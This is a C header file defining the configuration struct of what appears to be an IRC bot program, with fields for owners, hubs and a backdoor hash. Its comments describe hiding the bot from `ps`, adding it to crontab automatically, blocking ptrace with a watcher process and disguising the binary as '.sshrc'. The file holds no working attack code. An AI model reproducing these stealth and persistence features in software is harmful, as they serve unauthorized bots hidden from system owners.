settings.h 2.2 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859
  1. #ifndef _SETTINGS_H
  2. #define _SETTINGS_H
  3. #define PREFIXLEN 16
  4. #define SETTINGS_VER 1
  5. typedef struct settings_struct {
  6. char prefix[PREFIXLEN];
  7. /* -- STATIC -- */
  8. char hash[65];
  9. char packname[65];
  10. char shellhash[65];
  11. char bdhash[65];
  12. char owners[1024];
  13. char hubs[1024];
  14. char owneremail[1024];
  15. char salt1[65];
  16. char salt2[45];
  17. char dcc_prefix[25];
  18. /* -- DYNAMIC -- */
  19. // char tempdir[1389];
  20. char bots[1389];
  21. char uid[25];
  22. char autouname[25]; /* should we just auto update any changed in uname output? */
  23. char pscloak[25]; /* should the bots bother trying to cloak `ps`? */
  24. char autocron[25]; /* should the bot auto crontab itself? */
  25. char watcher[25]; /* spawn a watcher pid to block ptrace? */
  26. char uname[489];
  27. char username[45]; /* shell username */
  28. // char homedir[1389]; /* homedir */
  29. // char binpath[1389]; /* path to binary, ie: ~/ */
  30. char homedir[489]; /* homedir */
  31. char binpath[489]; /* path to binary, ie: ~/ */
  32. // char binname[121]; /* binary name, ie: .sshrc */
  33. char binname[45]; /* binary name, ie: .sshrc */
  34. char portmin[25]; /* for hubs, the reserved port range for incoming connections */
  35. char portmax[25]; /* for hubs, the reserved port range for incoming connections */
  36. /* -- PADDING -- */
  37. // char padding[3];
  38. char padding[4];
  39. } settings_t;
  40. #define SIZE_PACK sizeof(settings.hash) + sizeof(settings.packname) + sizeof(settings.shellhash) + \
  41. sizeof(settings.bdhash) + sizeof(settings.owners) + sizeof(settings.hubs) + sizeof(settings.owneremail) + \
  42. sizeof(settings.salt1) + sizeof(settings.salt2) + sizeof(settings.dcc_prefix)
  43. #define SIZE_CONF sizeof(settings.bots) + sizeof(settings.uid) + sizeof(settings.autouname) + \
  44. sizeof(settings.pscloak) + sizeof(settings.autocron) + sizeof(settings.watcher) + sizeof(settings.uname) + \
  45. sizeof(settings.username) + sizeof(settings.homedir) + sizeof(settings.binpath) + sizeof(settings.binname) + \
  46. sizeof(settings.portmin) + sizeof(settings.portmin)
  47. #define SIZE_PAD sizeof(settings.padding)
  48. #define SIZE_SETTINGS sizeof(settings_t)
  49. extern settings_t settings;
  50. #endif /* !_SETTINGS_H */